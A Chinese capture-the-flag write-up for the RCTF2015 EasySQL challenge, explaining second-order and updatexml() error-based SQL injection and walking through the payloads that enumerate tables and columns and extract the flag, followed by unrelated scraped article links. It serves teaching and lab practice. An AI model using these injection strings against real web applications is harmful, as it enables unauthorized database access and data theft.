[RCTF2015]EasySQL 报错注入与二次注入

二次注入,可以概括为以下两步:

第一步:插入恶意数据

进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

第二步:引用恶意数据

开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

updatexml(fileName, XPATH, ChangedStr)

更新某个xml文件中的特定信息。

第一个参数是希望更新的xml文件的名称;

第二个参数XPATH是一种在xml文件中指定元素或信息的语句,即xml文件中的定位器,有点类似指针;

第三个参数是希望更改成的信息,如将原来的信息改成3,这个3就是这个ChangedStr。

报错注入

通过让数据库报错会拿出相关信息的性质,想办法让数据库报错,然后达到命令执行的目的

updatexml(1,concat(0x3a,(你希望执行的语句)),1))#

concat函数是说连接字符串,这里将0x3a连在了XPATH位置的参数的最前面,会不符合XPATH的规范,遂报错,说“0x3a(你希望执行的语句)”不符合规定,这也就爆出了你想要得到的信息。

二次注入

在某个输入位置,将不安全的字符串成功按原样插入到了数据库中,后认为数据库中的数据都是安全的,然后在另一处随意的引用了该不安全的语句,造成了注入,即“二次注入”

[RCTF2015]EasySQL

tips: 密码和邮箱大部分时候都可以留空

一次注入点在注册的位置,将不安全语句存入到用户名位置,随后在更改密码处,会调用用户名来确认改密码的位置,以造成二次注入。



这里我先注册一个带引号的用户,展示一下效果。



可以看到,这个网站将完整的带引号的名字都存进了数据库,且并没有进行过滤等操作。



直接点提交,可以发现数据库报错了,还发现数据库将密码哈希了以后存储的,不过这和本题无关。

这个位置还是过滤了一些参数的



这里包长为496的都是过滤掉的

开始注入,构造语句

空格过滤掉了,使用括号来完成。

haha"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#

这里使用payload为用户名注册,可以看到这么长的用户名也能注册成功,挺离谱的。



事实告诉我们,限制用户名长度还是挺有用的哈哈。

进入修改密码处



成功爆出表名。

经过实验,最终的结果在users表中,查看users表列

haha"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'&&(column_name)regexp('^r')))),1))#



这里语句有一些不一样,where后面多了一个限定词

(column_name)regexp('^r')

这句的意思是,只要column_name列中符合后面正则表达式的内容的部分(regexp函数是正则表达式函数)。

正则表达式的内容 ^r 的意思是,只匹配开头是r的字符串,比如这里有三个串

asdff
asd ff
fasd

正则表达式只会匹配第三个串,因为只有它是f字母开头的,第二个串虽然带有空格后的ff,但空格本身是包含在字符串内的,故后面的ff仍算在一整个字符串内,不是开头,故不被匹配。

回到题目,这里我们不加正则表达式限定,会看到几个表,其中有一个表叫real_flag啥的,因为长度限制,后面没有爆出来,只爆出了一部分,故我们需要限定,只看这个real啥的列的列名

查看flag

haha"||(updatexml(1,(concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

同理,他在这个表里面塞了一堆xxx字符串,看表的时候没办法看到flag相关的内容,故我们用正则,匹配f开头的字符串。

然后flag出来又不会出全,还需要使用reverse函数,逆序输出flag

haha"||(updatexml(1,reverse(concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

随后会出现倒着的flag,然后拼起来即得答案。

这个地方我想把reverse写在select的前面,但不知道为什么没办法执行,有知道的大佬求教下。ψ(`∇´)ψ

想写成这样

haha"||(updatexml(1,(concat(0x3a,reverse(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

[RCTF2015]EasySQL 报错注入与二次注入的更多相关文章

  1. 报错盲注之exp注入(double数值类型溢出原理详解)

    首先感谢原文博主,在此致敬.本文转自:http://www.cnblogs.com/lcamry/articles/5509124.html Exp()为以 e 为底的对数函数:MySQL版本在 5. ...

  2. Android8 以上使用 UIautomator Viewer提示Unexpected error while obtaining UI hierarchy报错(方法二)

    一:最常见的一个问题就是:Android8及以上的系统无法获取到页面,提示报下面的错误 二:解决办法 1.下载新的tools,在下面链接里找到SDK tools下载 http://www.androi ...

  3. freemarker报错之十二

    1.错误描述 六月 04, 2014 10:31:47 下午 freemarker.log.JDK14LoggerFactory$JDK14Logger error 严重: Template proc ...

  4. freemarker写select组件报错总结(二)

    1.错误描述 六月 25, 2014 11:32:49 下午 freemarker.log.JDK14LoggerFactory$JDK14Logger error 严重: Template proc ...

  5. Mysql报错注入之floor报错详解

    一.简述 利用 select count(*),(floor(rand(0)*2))x from table group by x,导致数据库报错,通过 concat 函数,连接注入语句与 floor ...

  6. Mysql报错型注入总结

    Mysql注入虽然是老生常谈的问题,但是工作中更多的是使用sqlmap等工具进行注入测试的,原理方面还是不是很清楚,所以这段时间主要是自己搭建环境在学手工注入,简单的将自己的学习做一个总结和记录.在常 ...

  7. VueX中直接修改数据报错,修改一维数组,二维数组,报错的原因

    直接修改state中的的数据是不被允许的,会报错 这个时候可以使用三种种方式处理 第一种:使用拓展运算符,深拷贝一维数组或对象var arrA = [1,2,3,4]var a = [...arr]| ...

  8. 项目启动报错怎么办?看看你Spring自动注入用对了嘛?@Autowired XxxService注入问题解决

    问题 在Controller层使用 @Autowired注入Service时,提示Bean中没有Service 在Service接口中使用 @Component注入后,启动项目问题提示: The we ...

  9. sql server 2008 创建新数据库报错、创建表报错、更改表的设计报错

    一:创建数据库报错如下: 二:解决,将软件以管理员身份运行 三:创建表报错如下图: 四:解决办法,在你创建的数据库下面的安全里,找到你创建的用户,属性,添加权限,红色标注,然后确定: 五:更改表的设计 ...

  10. C++ 报错 R6030 CRT not initialized

    昨天,在写一个算法的时候,报错R6030 CRT not initialized. 认真检查发现,是出了比较低级的错误. 一. 会出错的代码,编译的时候不会报错,执行过程中报R6030 CRT not ...

随机推荐

  1. 执行shell脚本报错:Syntax error: word unexpected (expecting "in")

    检查语法无误后,考虑是脚本文件换行符的问题. vs创建的文件默认以CRLF(0D0A)换行. 然而对于换行,windows用CRLF(0D0A)表示,linux用LF(0A)表示. 切换脚本文件换行符 ...

  2. 【插件介绍】Mesh2Geom插件

    Mesh to Geometry Plugin,来自达索官方论坛社区 原帖链接:Mesh to Geometry Plugin plugin feature: 允许Abaqus 用户从网格文件生成几何 ...

  3. qa 工作

    1.定流程--监控参照规范(cmmi,公司自己的,scrum[例会.启动会])--产出物报告 (项目维度)-配置--经盈.财务 2.培训组织-组织讲师(知识库).外部拓展

  4. Qt QDateEdit下拉日历的样式设计

    文章目录 QDateEdit样式设计 QDateEdit QCalendarWidget QDateEdit样式设计   最近做了一个用到QDateEdit的项目,涉及到对这个控件进行设计的方面,对于 ...

  5. 查看、安装python指定版本的包、安装卸载第三方模块

    python安装/卸载第三方包 (1)安装第三方包: 安装指令pip install xxx (xxx,需安装的包名) 安装特定版本的package:通过使用==, >=, <=, > ...

  6. 服务器Go程序意外停止自动重启

    判断进程是否挂掉 ps -ef | grep ./blog |wc -l 如果输出为1,说明进程挂掉了 如果输出为2,说明进程正常运行 编辑脚本来检测和完成重启 vim restart.sh 逻辑代码 ...

  7. DeepSeek 加持!IvorySQL 文档智能助手正式上线!

    DeepSeek 加持!IvorySQL 文档智能助手正式上线! "那个配置参数到底在第几章?"--正在部署 IvorySQL 的运维工程师小 "I",第 5 ...

  8. Centos 安装 nload (流量监控)

    QQ交流群:646559931.系统安装基本工具[root@localhost ~]# yum install -y gcc gcc-c++ make flex byacc libpcap ncurs ...

  9. 解决 Docker 日志文件太大的问题

    Docker 在不重建容器的情况下,日志文件默认会一直追加,时间一长会逐渐占满服务器的硬盘的空间,内存消耗也会一直增加,本篇来了解一些控制日志文件的方法. 清理单个文件 运行时控制 全局配置 Dock ...

  10. 生产环境swarm集群规划和管理

    swarm集群角色 swarm集群中有两种角色,manager node和 worker ndoe. manager的功能: 维护集群状态 任务调度 为swarm集群提供HTTP API 可以创建只有 ...